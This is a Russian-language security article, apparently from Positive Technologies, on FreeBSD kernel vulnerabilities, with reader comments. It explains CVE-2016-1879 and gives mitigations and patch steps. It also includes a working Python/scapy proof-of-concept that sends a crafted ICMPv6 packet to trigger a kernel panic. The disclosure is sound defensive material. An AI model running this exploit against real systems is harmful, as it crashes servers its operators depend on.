Во FreeBSD обнаружены критически опасные уязвимости



    Команда проекта FreeBSD сообщает, что в операционной системе обнаружен ряд критически опасных уязвимостей, позволяющих злоумышленникам проводить атаки, направленные на отказ в обслуживании, повышать привилегии и раскрывать важные данные.

    Уязвимость, связанная с некорректной обработкой сообщений ICMPv6 в стеке SCTP (CVE-2016-1879)


    SCTP (Stream Control Transmission Protocol — «протокол передачи с управлением потоком») — это протокол транспортного уровня, который разработан для передачи сообщений сигнализации телефонных сетей в IP-среде. В основном данный протокол используется в технологических сетях операторов связи.

    Этой уязвимости подвержены версии FreeBSD 9.3, 10.1 и 10.2 в том случае, если они сконфигурированы с поддержкой протоколов SCTP и IPv6 (конфигурация по умолчанию). Для эксплуатации ошибки злоумышленнику требуется отправить специально сформированное сообщение ICMPv6. Успешная эксплуатация позволяет реализовать атаку на отказ в обслуживании (DoS).

    DoS возникает из-за недостаточной проверки длины заголовка SCTP-пакета, полученного в ICMPv6-сообщении об ошибке. Когда адресат недоступен, маршрутизатор может сгенерировать сообщение об ошибке и переслать его отправителю через ICMPv6.

    В такой ICMPv6-пакет вложен оригинальный IPv6-пакет, в котором поле Next Header указывает на то, как протокол верхнего уровня инкапсулируется. В данном случае это SCTP.



    Когда ядро получает по ICMPv6 сообщение об ошибке, оно находит в нем пакет протокола верхнего уровня и передает его соответствующему обработчику (в данном случае sctp6_ctlinput()).

    Когда ядро получает по ICMPv6 сообщение об ошибке, оно находит в нем пакет протокола верхнего уровня и передает его соответствующему обработчику (в данном случае sctp6_ctlinput()). Обработчик SCTP предполагает, что входной пакет содержит заголовок достаточной длины, пытается скопировать его с помощью m_copydata(), в которую передаются значения смещения и количество байтов, которое требуется считать. Поскольку ожидается блок данных размером 12 байт, если отправить пакет с SCTP-заголовком меньше 12 байт, то происходит разыменование нулевого указателя, что вызывает критический сбой ядра системы (kernel panic).

    Для эксплуатации уязвимости наличие открытого SCTP-сокета необязательно.
    Создать ICMPv6-пакет для осуществления атаки можно с помощью scapy. На Хабре немало статей, посвященных этому мощному инструменту (например, эта и эта статьи).

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
     
    import argparse
    from scapy.all import *
     
     
    def get_args():
        parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
        parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address")
        parser.add_argument("-i", "--dst_ipv6", type=str, help="FreeBSD IPv6 address")
        parser.add_argument("-I", "--iface", type=str, help="Iface")
        options = parser.parse_args()
     
        if options.dst_mac is None or options.dst_ipv6 is None:
            parser.print_help()
            exit()
     
        return options
     
     
    if __name__ == '__main__':
        options = get_args()
     
        sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132,
                                                                                                   src=options.dst_ipv6,
                                                                                                   dst='fe80::230:56ff:fea6:648c'),
              iface=options.iface)
    

    Видеодемонстрация атаки:



    Для того чтобы обезопасить себя от атаки с использованием данной ошибки безопасности, следует сделать следующее:

    • отключить IPv6-адресацию, если она не требуется;
    • заблокировать трафик ICMPv6 или IPv6 на межсетевом экране;
    • отключить поддержку стека SCTP в ядре операционной системы — если он не нужен (потребуется перекомпиляция ядра).

    Для устранения уязвимости можно использовать патч от производителя, который вносит дополнительные проверки в обработку ICMPv6-сообщений в SCTP-стек. И нужно будет перекомпилировать ядро.

    Это еще не все


    Помимо этого, в системе обнаружен еще целый ряд серьезных уязвимостей. Разработчики FreeBSD выпустили несколько патчей, устраняющих эти ошибки:

    1. Уязвимость, позволяющая осуществить DoS-атаку из-за ошибки, возникающей при обработке соединений TCP с включенными опциями сокета TCP_MD5SIG и TCP_NOOPT. Для успешной эксплуатации злоумышленнику необходимо открыть прослушивающий сокет с включенной опцией TCP_NOOPT. (CVE-2016-1882, патч);
    2. Уязвимость, позволяющая локальному пользователю повысить привилегии или вызвать отказ в обслуживании: это возможно вследствие ошибки контроля доступа, позволяющей перезаписать случайные участки памяти с помощью специально сформированных системных вызовов слоя совместимости Linux setgroups(2). (CVE-2016-1881, патч);
    3. Из-за ошибки в списках Linux robust futex хакеры получают возможность раскрывать данные системной памяти (CVE-2016-1880, патч);
    4. Небезопасные дефолтные настройки безопасности, разрешающие доступ к файлу конфигурации демона bsnmpd “/etc/bsnmpd.conf” (CVE-2015-5677, патч).

    Во избежание проблем, связанных с эксплуатацией указанных уязвимостей, эксперты Positive Technologies рекомендуют пользоваться IPv6-адресацией только в том случае, если она требуется для функционирования приложений, своевременно устанавливать обновления безопасности от разработчиков ОС и использовать специализированные инструменты для контроля защищенности системы (например, MaxPatrol) для контроля защищенности системы.

    Comments 19

      +9
      Ну вот, только успел порадоваться, что наши сервера не на линуксе :):
        0
        Удивляет, что не «решето» первым комментарием… как же так?
      • UFO just landed and posted this here
        • UFO just landed and posted this here
          +8
          Для того, чтобы обезопасить себя от атаки с использованием данной ошибки безопасности, следует осуществить следующие действия:

          — Отключить IPv6-адресацию в случае если она не требуется;
          — Заблокировать трафик ICMPv6 или IPv6 на межсетевом экране;

          Во избежание проблем, связанных с эксплуатацией указанных уязвимостей, эксперты Positive Technologies рекомендуют пользоваться IPv6-адресацией только в том случае, если она требуется для функционирования приложений.

          Трололо-пост недели. Вы сейчас джек-пот сорвёте :-)
            +3
            Заблокировать трафик ICMPv6
            И у нас моментально ломается весь IPv6, т.к. на ICMPv6 возложено гораздо больше функций, нежели на ICMPv4.
              0
              А то ICMPv4 можно блокировать безболезненно, что ли? В iptables-extensions(8) про таких сисадминов даже специально написаны ругательные слова:
              TCPMSS
              This target is used to overcome criminally braindead ISPs or servers which block «ICMP Fragmentation Needed» or «ICMPv6 Packet Too Big» packets.
                +1
                Блокируя ICMPv4, мы, в целом, получим только сломанный Path MTU Discovery, а заблокировав ICMPv6, мы лишимся Router/Neighbor Solicitation/Advertisement, что равносильно блокировке ARP в IPv4.
          • UFO just landed and posted this here
              +6
              Для того, чтобы обезопасить себя от атаки с использованием данной ошибки безопасности, следует осуществить следующие действия:
              Отключить IPv6-адресацию…


              Да вы страшные люди…

              V. Solution

              Perform one of the following:

              1) Upgrade your vulnerable system to a supported FreeBSD stable or
              release / security branch (releng) dated after the correction date.
              Rebooting to the new kernel is required.

              2) To update your vulnerable system via a binary patch:

              Systems running a RELEASE version of FreeBSD on the i386 or amd64
              platforms can be updated via the freebsd-update(8) utility:
              # freebsd-update fetch
              # freebsd-update install
              


              Rebooting to the new kernel is required.

              3) To update your vulnerable system via a source code patch:

              The following patches have been verified to apply to the applicable
              FreeBSD release branches.

              a) Download the relevant patch from the location below, and verify the
              detached PGP signature using your PGP utility.

              # fetch https://security.FreeBSD.org/patches/SA-16:01/sctp.patch
              # fetch https://security.FreeBSD.org/patches/SA-16:01/sctp.patch.asc
              # gpg --verify sctp.patch.asc
              


              b) Apply the patch. Execute the following commands as root:
              # cd /usr/src
              # patch < /path/to/patch
              


              c) Recompile your kernel as described in
              <URL:https://www.FreeBSD.org/handbook/kernelconfig.html> and reboot the
              system.
                0
                Первое что делает админ фрибсд после установки — это пересборка ядра (как минимум, как максимум пересборка системы) с убраными опциями, что не планируются для использования. Это даже рекомендуется для ускорения работы системы. Кто оставляет ядро по умолчанию — сам виноват (это небольшой кирпич в сторону дистрибьютивов линукса).
                  +2
                  И заметно работа ускоряется?
                    –2
                    Да, заметно особенно на слабом железе. Помимо этого добавляются нужные опции(к примеру PF и ALTQ).
                      0
                      Подскажите, что стоит отключить в generic'е, чтобы на измеримую величину поднять производительность типичного вебсервера?

                      А добавление нужных опций к отключению ненужных относится весьма опосредственно. PF, кстати, давно в ядре из коробки, а ALTQ на большинстве серверов как бы и ни к чему.
                        0
                        К сожалению подсказать не смогу, веб-серверы у нас на centos. Но шлюз к этим серверам как раз на фрибсд и он прекрасно контролирует все обращения в обе стороны.
                        ALTQ на офисном шлюзе применяется — резать особо наглых пользователей. PF в ядре с коробки вкомпилен или модулем, как в старые добрые времена?
                          0
                          Полезность ALTQ на шлюзе никто не оспаривает. Равно как и необходимости пересобирать ядро для его включения. ALTQ затрагивает много чего в ядре, поэтому просто собрать его отдельным модулем не получится.

                          И таких вещей на практике не так много встречается и в достаточно специфичных случаях: навскидку кроме ALTQ это VNET/VIMAGE

                          В большинстве остальных случаев «пересборка ядра с убраными опциями, что не планируются для использования» — та самая premature optimization которая the root of all evil. Даже на самом слабом железе память давно не считается единицами мегабайт.

                          ps:
                          pf в generic естественно в виде модуля. это плохо, да?
                    0
                    как здорово, что сразу после инсталляции, я выпиливал из ядра IPv6…
                      0
                      Приглашаю прочесть статью о проверке FreeBSD статическим анализатором: PVS-Studio покопался в ядре FreeBSD. Может ещё какая уязвимость найдётся.

                      Only users with full accounts can post comments. Log in, please.